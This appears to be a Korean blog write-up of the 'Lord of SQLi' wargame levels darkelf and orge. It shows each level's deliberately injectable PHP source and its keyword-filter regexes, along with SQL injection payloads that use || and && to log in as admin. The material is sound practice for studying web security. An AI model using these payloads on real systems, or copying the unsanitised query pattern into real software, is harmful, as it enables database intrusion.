<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); //막아놓음
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); //or과 and 안된다.
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf"); //id가 admin이기만 하면 darkelf 푼다.
highlight_file(__FILE__);
?>
or을 못쓰게 했으므로 ||을 쓴다.
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
pw=' || id='admin' && pw='1' || '1
"select id from prob_darkelf where id='guest' and pw='' || id='admin' && pw='1' || '1'";
하니까
이렇게 뜬다.
그냥 id만 넣자
https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=%27%20||%20id=%27admin
orge
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); //막기
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); //and,or 막기
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); //비번 알아내기
highlight_file(__FILE__);
?>
?pw=' select pw from prob_orge where id="admin"
라고 했더니 _가 우회에 걸린다.
'보안공부 > 워게임' 카테고리의 다른 글
lordofsql: vampire, skeleton (0) | 2021.07.30 |
---|---|
lordofsql: orge,troll (0) | 2021.07.30 |
dreamhack-image-storage (0) | 2021.07.23 |
dreamhack- command injection (0) | 2021.07.23 |
dreamhack - csrf -1 (0) | 2021.07.23 |